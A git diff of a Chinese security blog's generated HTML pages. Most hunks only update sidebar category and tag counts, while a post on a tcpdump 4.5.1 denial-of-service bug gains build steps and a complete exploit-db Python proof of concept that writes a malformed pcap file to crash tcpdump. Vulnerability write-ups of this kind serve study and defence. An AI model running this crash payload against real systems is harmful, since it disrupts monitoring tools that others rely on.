diff --git a/2000/01/01/hello-world/index.html b/2000/01/01/hello-world/index.html index dd176d72..4c6cdbf4 100644 --- a/2000/01/01/hello-world/index.html +++ b/2000/01/01/hello-world/index.html @@ -559,7 +559,7 @@
- 4 + 5 分类
@@ -570,7 +570,7 @@
- 14 + 16 标签
diff --git a/2018/11/16/BIBA访问控制模型实现(python)/index.html b/2018/11/16/BIBA访问控制模型实现(python)/index.html index 09e3b31d..bed7acb3 100644 --- a/2018/11/16/BIBA访问控制模型实现(python)/index.html +++ b/2018/11/16/BIBA访问控制模型实现(python)/index.html @@ -731,7 +731,7 @@
- 4 + 5 分类
@@ -742,7 +742,7 @@
- 14 + 16 标签
diff --git a/2018/12/23/基于规则引擎发现IOT设备/index.html b/2018/12/23/基于规则引擎发现IOT设备/index.html index 09c8e62c..d9549d89 100644 --- a/2018/12/23/基于规则引擎发现IOT设备/index.html +++ b/2018/12/23/基于规则引擎发现IOT设备/index.html @@ -633,7 +633,7 @@
- 4 + 5 分类
@@ -644,7 +644,7 @@
- 14 + 16 标签
diff --git a/2019/01/16/wifi半双工侧信道攻击学习笔记/index.html b/2019/01/16/wifi半双工侧信道攻击学习笔记/index.html index 9d2a6763..33636fc2 100644 --- a/2019/01/16/wifi半双工侧信道攻击学习笔记/index.html +++ b/2019/01/16/wifi半双工侧信道攻击学习笔记/index.html @@ -760,7 +760,7 @@ Server -------wire----------|
- 4 + 5 分类
@@ -771,7 +771,7 @@ Server -------wire----------|
- 14 + 16 标签
diff --git a/2019/02/22/qq数据库的加密解密/index.html b/2019/02/22/qq数据库的加密解密/index.html index d32d8448..b52b7616 100644 --- a/2019/02/22/qq数据库的加密解密/index.html +++ b/2019/02/22/qq数据库的加密解密/index.html @@ -610,7 +610,7 @@
- 4 + 5 分类
@@ -621,7 +621,7 @@
- 14 + 16 标签
diff --git a/2019/03/16/小米固件工具mkxqimage/index.html b/2019/03/16/小米固件工具mkxqimage/index.html index f0679f69..9ed384f2 100644 --- a/2019/03/16/小米固件工具mkxqimage/index.html +++ b/2019/03/16/小米固件工具mkxqimage/index.html @@ -617,7 +617,7 @@
- 4 + 5 分类
@@ -628,7 +628,7 @@
- 14 + 16 标签
diff --git a/2019/12/25/TCPDUMP拒绝服务攻击漏洞/index.html b/2019/12/25/TCPDUMP拒绝服务攻击漏洞/index.html index 916668c2..cefe0759 100644 --- a/2019/12/25/TCPDUMP拒绝服务攻击漏洞/index.html +++ b/2019/12/25/TCPDUMP拒绝服务攻击漏洞/index.html @@ -68,7 +68,7 @@ - + @@ -80,13 +80,14 @@ + - + @@ -334,6 +335,28 @@ + + + | + + + + + + 分类于 + + + + + + + + + + + @@ -414,7 +437,11 @@
  • tcpdump能够分析网络行为,性能和应用产生或接收网络流量。它支持针对网络层、协议、主机、网络或端口的过滤,并提供and、or、not等逻辑语句来帮助你去掉无用的信息,从而使用户能够进一步找出问题的根源。
  • 也可以使用 tcpdump 的实现特定目的,例如在路由器和网关之间拦截并显示其他用户或计算机通信。通过 tcpdump 分析非加密的流量,如Telnet或HTTP的数据包,查看登录的用户名、密码、网址、正在浏览的网站内容,或任何其他信息。因此系统中存在网络分析工具主要不是对本机安全的威胁,而是对网络上的其他计算机的安全存在威胁。
  • -

    二、分析环境

    Ubuntu 16.04.4 LTS i686
    tcpdump 4.5.1
    gdb with peda

    +

    二、分析环境

    三、漏洞复现

    这个漏洞触发的原因是,tcpdump在处理特殊的pcap包的时候,由于对数据包传输数据长度没有进行严格的控制,导致在连续读取数据包中内容超过一定长度后,会读取到无效的内存空间,从而导致拒绝服务的发生。对于这个漏洞,首先要对pcap包的结构进行一定的分析,才能够最后分析出漏洞的成因,下面对这个漏洞进行复现。

    1.编译安装tcpdump

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    1.	# apt-get install libpcap-dev
    2. # dpkg -l libpcap-dev
    3. # wget https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz
    4. # tar -zxvf 973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz
    5. # cd tcpdump-4.5.1/
    6. # ./configure
    7. # make
    8. # make install
    9. # tcpdump –-version
    tcpdump version 4.5.1
    libpcap version 1.7.4

    2.生成payload(来自exploit-db payload)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    # Exploit Title: tcpdump 4.5.1 Access Violation Crash
    # Date: 31st May 2016
    # Exploit Author: David Silveiro
    # Vendor Homepage: http://www.tcpdump.org
    # Software Link: http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz
    # Version: 4.5.1
    # Tested on: Ubuntu 14 LTS
    from subprocess import call
    from shlex import split
    from time import sleep

    def crash():
    command = 'tcpdump -r crash'
    buffer = '\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff'
    buffer += '\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00'
    buffer += '\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00<\x9c7@\xff\x00'
    buffer += '\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a'
    buffer += "\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&\x80\x18\'"
    buffer += "xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n', '\x00\x00\x00\x00"
    buffer += '\x00\x00\x00\x00\x01\x03\x03\x04'
    with open('crash', 'w+b') as file:
    file.write(buffer)
    try:
    call(split(command))
    print("Exploit successful! ")
    except:
    print("Error: Something has gone wrong!")
    def main():
    print("Author: David Silveiro ")
    print(" tcpdump version 4.5.1 Access Violation Crash ")
    sleep(2)
    crash()
    if __name__ == "__main__":
    main()
    @@ -485,6 +512,14 @@